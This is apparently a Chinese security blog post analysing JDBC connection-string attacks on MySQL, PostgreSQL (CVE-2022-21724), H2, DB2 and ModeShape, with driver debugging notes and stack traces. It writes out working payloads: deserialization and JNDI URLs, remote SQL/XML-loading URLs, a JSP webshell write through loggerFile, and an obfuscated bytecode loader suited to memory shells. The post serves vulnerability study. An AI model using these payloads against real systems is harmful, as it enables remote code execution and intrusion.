Java安全之JDBC Attacks
寫在前面
很早就看到了Make JDBC Attacks Brilliant Again議題，一直想分析學習下，但是太懶。
MySQL
原理概述
"擴充套件引數" 就是本次導致安全漏洞的一個重要的部分。
Mysql JDBC 中包含一個危險的擴充套件引數： ”autoDeserialize“。這個引數配置為 true 時，JDBC 客戶端將會自動反序列化服務端返回的資料，這就產生了 RCE。
此時如果攻擊者作為 MYSQL 伺服器的角色，給客戶端返回了惡意的序列化資料，客戶端就會自動反序列化觸發惡意程式碼，造成漏洞。
簡單說一下流程，主要是用到兩類引數
- 自動檢測與反序列化存在BLOB欄位中的物件。 autoDeserialize
- 觸發反序列化
- queryInterceptors，一個逗號分割的Class列表（實現了com.mysql.cj.interceptors.QueryInterceptor介面的Class），在Query”之間”進行執行來影響結果。
- detectCustomCollations
透過ServerStatusDiffInterceptor或detectCustomCollations觸發查詢語句SHOW SESSION STATUS、SHOW COLLATION等，並呼叫resultSetToMap處理資料庫返回的結果，而當autoDeserialize為true時會對server中返回的結果進行反序列化，從而造成程式碼執行
Driver:
- mysql-connector-java 5.x: com.mysql.jdbc.Driver
- mysql-connector-java 8.x: com.mysql.cj.jdbc.Driver
除錯分析
queryInterceptors
測試程式碼
public static void main(String[] args) {
try{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}catch (Exception e){
}
}
跟進到mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrl#getConnectionUrlInstance方法
首先在mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#parseConnectionString方法內解析jdbc串
返回的是ConnectionUrlParser物件，具體如下
繼續往下看
在mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#processKeyValuePattern迴圈解析Properties並新增到kvMap中，之後賦值給ConnectionUrlParser.parsedProperties欄位
在ConnectionImpl#setAutoCommit會賦值sql語句SET autocommit=1
在ServerStatusDiffInterceptor#populateMapWithSessionStatusValues會去資料庫執行查詢SHOW SESSION STATUS，跟進ResultSetUtil.resultSetToMap(toPopulate, rs);
其中呼叫getObject，邏輯如下,先判斷傳說的資料流，這裡走的是BLOB不過BIT好像也會反序列化，序列化資料儲存在this.thisRow中
第二個元素
最後就是java原生的反序列化了
堆疊
readObject:431, ObjectInputStream (java.io)
getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:21, Attack8x (org.su18.jdbc.attack.mysql.serverstatus)
detectCustomCollations
簡單看一下，呼叫點在mysql-connector-java-5.1.19.jar!/com/mysql/jdbc/ConnectionImpl#buildCollationMapping
後面依舊是resultSetToMap中呼叫了getObject觸發反序列化
堆疊
readObject:431, ObjectInputStream (java.io)
getObject:4984, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:506, Util (com.mysql.jdbc)
buildCollationMapping:963, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3445, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2437, ConnectionImpl (com.mysql.jdbc)
createNewIO:2207, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:22, Attack511x (org.su18.jdbc.attack.mysql.customcollations)
小結
簡單小結一下,各個小版本間可利用的payload可以參考下面fnmsd師傅的圖
autoDeserialize=true 使JDBC 客戶端將會自動反序列化服務端返回的資料，這個過程透過getObjec方法觸發
但預設情況下不會自動觸發getObject，所以需要一個觸發點
目前公開的有2種
- 攔截器queryInterceptors
"queryInterceptors" 引數可以指定介面 com.mysql.cj.interceptors.QueryInterceptor 的子類，透過名字可以看到，這是一個起到”攔截器“作用的類。在這些攔截器的實現類中，可以修改或增強語句的某些子級所做的處理，例如自動檢查 memcached 伺服器中的查詢資料、重寫慢速查詢、記錄有關語句執行的資訊，或將請求路由到遠端伺服器。總體來說，這是一個為查詢提供自動化增強功能的引數。ServerStatusDiffInterceptor 用於顯示在查詢之間伺服器狀態的差異，preProcess()/postProcess() 呼叫 populateMapWithSessionStatusValues()方法。
populateMapWithSessionStatusValues() 使用已經建立的 connection 建立並執行了一個新的語句 SHOW SESSION STATUS，並呼叫 ResultSetUtil.resultSetToMap() 處理返回結果。
resultSetToMap 中呼叫了之前我們提到的 getObject() 方法，連成了一條呼叫鏈。
queryInterceptors ==> ServerStatusDiffInterceptor
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
- detectCustomCollations
detectCustomCollations ==> detectCustomCollations=true
PostgreSQL
同理PostgreSQL的property也存在安全問題CVE-2022-21724
在 PostgreSQL 資料庫的 jdbc 驅動程式中發現一個安全漏洞。當攻擊者控制 jdbc url 或者屬性時，使用 PostgreSQL 資料庫的系統將受到攻擊。 pgjdbc 根據透過 authenticationPluginClassName、sslhostnameverifier、socketFactory 、sslfactory、sslpasswordcallback 連線屬性提供類名例項化外掛例項。但是，驅動程式在例項化類之前沒有驗證類是否實現了預期的介面。這可能導致透過任意類載入遠端程式碼執行。
影響範圍：
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
這裡主要記錄兩個點
- socketFactory / socketFactoryArg 等property呼叫有參構造觸發的RCE
- loggerLevel / loggerFile 日誌功能寫檔案
網上分析文章一大堆，之前也除錯過，這次就簡單記錄一些點。
socketFactory/socketFactoryArg
有公開的一個poc，詳情見
https://github.com/advisories/GHSA-v7wg-cpwc-24m4
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式建立類-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>open -a Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
測試程式碼
public class AttackPgsqlsocketFactory {
public static void main(String[] args) throws Exception {
String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
connection.close();
}
}
除錯分析
首先在Driver#parseURL方法內是對jdbc字串的處理，以indexof?作為分割符，拿到properties引數，後續將結果儲存為Properties物件返回
後續關注對socketFactory這個Property的處理即可，跟進到SocketFactoryFactory#getSocketFactory方法。
先從前面解析jdbc串時 return的Properties物件中，獲取socketFactory的類名，也就是org.springframework.context.support.ClassPathXmlApplicationContext
之後呼叫instantiate對其例項化處理，也是漏洞觸發點，其中包含了PGProperty.SOCKET_FACTORY_ARG.get(info)的步驟
這裡是一個任意類例項化的點，可以呼叫只有1個入參，引數型別為String的有參構造進行例項化
堆疊
instantiate:45, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:18, AttackPgsqlsocketFactory (me.zh1z3ven.jdbc.attack)
關於Pgsql的Properties其實可以看PGProperty.class裡面都有對應的解釋說明
在審計時可以將對應環境的classpath中的class拿出來透過靜態分析工具去跑符合條件的類，說不準可以跑出不用出網的gadget
loggerLevel/loggerFile
poc
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp
driver=org.postgresql.Driver&url=jdbc:postgresql://172.16.105.1/test/?loggerLevel=DEBUG&loggerFile=../webapps/ROOT/static/555.jsp&<%! \uxxx\uxxx%><%\uxxx%> =&user=test&pwd=123123
這個點不算複雜的，是log功能寫檔案，只是提一下寫shell需要注意的一個地方,檔案內容在下圖地方會有一個處理
這裡構造資料包時可以透過unicode編碼shell內容=來進行shell寫入，透過本身程式碼邏輯，讓=截斷掉前面的shell內容繞過URLDecoder的處理。其他的方式應該也可以，只要讓=第一次出現的位置位於shell內容後面或者shell內容中不存在會讓URLDecoder.decode拋異常的字元即可。
例如
<%! \uxxx\uxxx%><%\uxxx%>
H2
h2配置
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
而h2本身的console介面也是可以透過jdbc連線串來進行jndi利用的
除此之外ppt中給出了3條gadget
分別有不同的限制，RUNSCRIPT需要出網載入sql，groovy需要本地存在groovy依賴，那麼看下來js是限制條件比較少的一個
簡單跟了下h2的處理邏輯
拋開初始化部分，在h2-1.4.199.jar!/org/h2/engine/Engine#openSession開始進入jdbc連線串的處理，預處理時主要是初始化jdbc相關的資訊，最終儲存在ConnectionInfo物件內，而走入executeUpdate方法邏輯內後開始真正執行一些sql語句,惡意的sql為漏洞的觸發點，而Litch1師傅給出的三條gadget也是分別從sql入手的 RUNSCRIPT/CREATE ALIAS/CREATE TRIGGER
三條gadget入口點都是INIT這個properties，重點關注h2對其的處理即可。
RUNSCRIPT
poc
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
除錯分析
看到h2-1.4.199.jar!/org/h2/command/dml/RunScriptCommand#update方法，跟進this.openInput()
該方法去讀去遠端檔案，將檔案內容賦值給this.in
拿到sql語句後進入FunctionAlias.newInstanceFromSource開始處理
略過一些初始化，中間去判斷了是否為groovy指令碼等判斷，之後進入h2-1.4.199.jar!/org/h2/engine/FunctionAlias#JavaMethod來構造一個JavaMethod物件，物件結構如下
之後跟進RunScriptCommand#this.execute()
最終在FunctionAlias$JavaMethod#getValue執行程式碼，可以看出底層也是反射去呼叫執行的
堆疊如下
exec:347, Runtime (java.lang)
shellexec:6, EXEC (org.h2.dynamic)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getValue:460, FunctionAlias$JavaMethod (org.h2.engine)
getValue:40, JavaFunction (org.h2.expression.function)
query:64, Call (org.h2.command.dml)
execute:77, RunScriptCommand (org.h2.command.dml)
update:58, RunScriptCommand (org.h2.command.dml)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:23, AttackH2ByRunScript (org.su18.jdbc.attack.h2)
Groovy+CREATE ALIAS
Poc
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("open -a Calculator")})def x'
除錯分析
透過ASTTest呼叫assert執行groovy程式碼
跟進到h2-1.4.199.jar!/org/h2/util/SourceCompiler#getClass方法，方法內邏輯很多，先只看groovy部分
其中透過sql語句是否startsWith 為//groovy或@groovy來判斷是否為groovy表示式
private static boolean isGroovySource(String var0) {
return var0.startsWith("//groovy") || var0.startsWith("@groovy");
}
而這裡的Compiler為GroovyCompiler,後續呼叫parseClass來執行groovy表示式
堆疊
exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:1, Script1
evaluate:427, GroovyShell (groovy.lang)
evaluate:461, GroovyShell (groovy.lang)
evaluate:436, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:114, ASTTestTransformation$1 (org.codehaus.groovy.transform)
lambda$compile$15:640, CompilationUnit (org.codehaus.groovy.control)
accept:-1, 1026055550 (org.codehaus.groovy.control.CompilationUnit$$Lambda$25)
ifPresent:159, Optional (java.util)
compile:640, CompilationUnit (org.codehaus.groovy.control)
doParseClass:389, GroovyClassLoader (groovy.lang)
lambda$parseClass$3:332, GroovyClassLoader (groovy.lang)
provide:-1, 482082765 (groovy.lang.GroovyClassLoader$$Lambda$4)
compute:163, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
getAndPut:154, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
parseClass:330, GroovyClassLoader (groovy.lang)
parseClass:314, GroovyClassLoader (groovy.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callMethod:536, Utils (org.h2.util)
callMethod:513, Utils (org.h2.util)
parseClass:509, SourceCompiler$GroovyCompiler (org.h2.util)
getClass:139, SourceCompiler (org.h2.util)
getMethod:234, SourceCompiler (org.h2.util)
loadFromSource:130, FunctionAlias (org.h2.engine)
load:118, FunctionAlias (org.h2.engine)
init:105, FunctionAlias (org.h2.engine)
newInstanceFromSource:97, FunctionAlias (org.h2.engine)
update:53, CreateFunctionAlias (org.h2.command.ddl)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:25, AttackH2ByGroovy (org.su18.jdbc.attack.h2)
JavaScript+CREATE TRIGGER
poc
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
除錯分析
略過一些初始化的步驟，h2主要透過ConnectionInfo儲存jdbc連線串等資料
跟進到h2-1.4.199.jar!/org/h2/engine/Engine#openSession，前面會將引數跟進init進行處理
會處理成如下格式
跟進var22.executeUpdate(false)
h2-1.4.199.jar!/org/h2/command/Parser#parse中會將jdbc串進行解析，
CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")'
變為
//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
sink點在：
TriggerObject#loadFromSource方法，首先SourceCompiler.isJavaxScriptSource(this.triggerSource)以//javascript或#ruby來判斷是js還是ruby語法
是js則之後呼叫eval執行js程式碼
執行任意位元組碼
嘗試構造執行任意位元組碼的payload
H2對於init的格式化處理在ConnectionInfo#readSettingsFromURL中，部分邏輯如下
跟進 arraySplit其中可以看到，對於一些特殊字元可以透過\來進行轉義，因為h2在parse jdbc字串的時候是透過;分號進行分割properties的，而js中會經常用到;所以這裡可以透過\;來保證不錯誤解析我們的jdbc串。
而js語句需要拼接到sql中，sql是透過'單引號包裹的，這裡我們還需要把js中的'改成"。
測試base64的會拋異常，用woodpecker JExpr表示式生成外掛的JS-BigInteger可以正常食用，彈計算器payload如下：
String javascript = "//javascript\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader()\\;try{classLoader.loadClass(\"calc\").newInstance()\\;}catch (e){var clsString = classLoader.loadClass(\"java.lang.String\")\\;var bytecodeRaw = \"-5d0gv4aq1you8hawg2mpj9nktafb7tljy9bnbegiqsk808saabml7o3t292jac7i00g0728emolez6qs5k67no20hcir24qej6cwew6q09vwz5h9ydgv5lvhjuvabg6wg002x1wqucoc39whhg24i78rx95tfa7l4nxfk82v4vrhf8u47iss5as2z8nobqrr3os83kw253hd6yp7d6r69nukbn6eak5t561zempt8ic4i629qxwgg1yz98bvudk51jtwlji4rkpdsrqw63s3uq6skp4p6ghpd2gbw5ffb0n360re4s9e93l8jdu9hvr3slymqtt6w3dte1hrtz4jqmbwacxqvs2as2fojc6z6f9ramext15bqmqzccc8hweetz2e4ieeh13cjnl5lgec233xa40opzux1ullqtao1yedmj8y36taohdze4fgz8in9d1wm5avr4813tyg619hsga52or3n1n0i7ty6ly03777911d8g6dm2uzdb027awrhk9ph1mr5zri0j1jy6tzc6zy9y0h1o6qcoirl27fygukbdlqmu919tau2nd8kpt8gjaa70j4pduw3f74kplqujyh00bg2djvmaqv8by6htrm8vp4wsi3ktnlhddi4mxqfj34uwo0uozu9asg3sh9gevokmehh81gyxogy84eo0sd6p4rkhmx1wyqktm18u0iswb16bh272kl7f4w7zyhwnm48pwxgvb6m9h2kso2rnjukhc7mbe2fa9j2u3gj0dir7xferg1mxq26hcm2ihpkrhksfm535p9nimslh6q0ijn0ogwdzk91vf8b08n7ai4y13subxd4zrtvgq5e3q8mmlcyfulm6\"\\;var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray()\\;var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\")\\;var clsByteArray = \"a\".getBytes().getClass()\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt)\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance()\\;}";
burp發包時注意\n是回車，而不要直接在引數處輸入字元\n需要用%0a,其他字元也url編碼即可，且同一個類貌似只能載入一次。
注入記憶體馬的包可能不會回顯header，正常會報cannot be cast to org.h2.api.Trigger異常，這些屬於正常情況不用管。
IBM DB2
poc
jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;
該property可以導致jndi
在此不搬運了，ppt中給出了詳細的流程和sink點
ModeShape
透過jcr api可以觸發jndi，同DB2，也是個jndi的利用
jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass
derby因為沒怎麼遇到過，SQLite利用成本高，（主要是我懶）在此不做分析
Reference
《Make JDBC Attacks Brilliant Again》議題
結語
廈門茉莉花的花語是：天天開心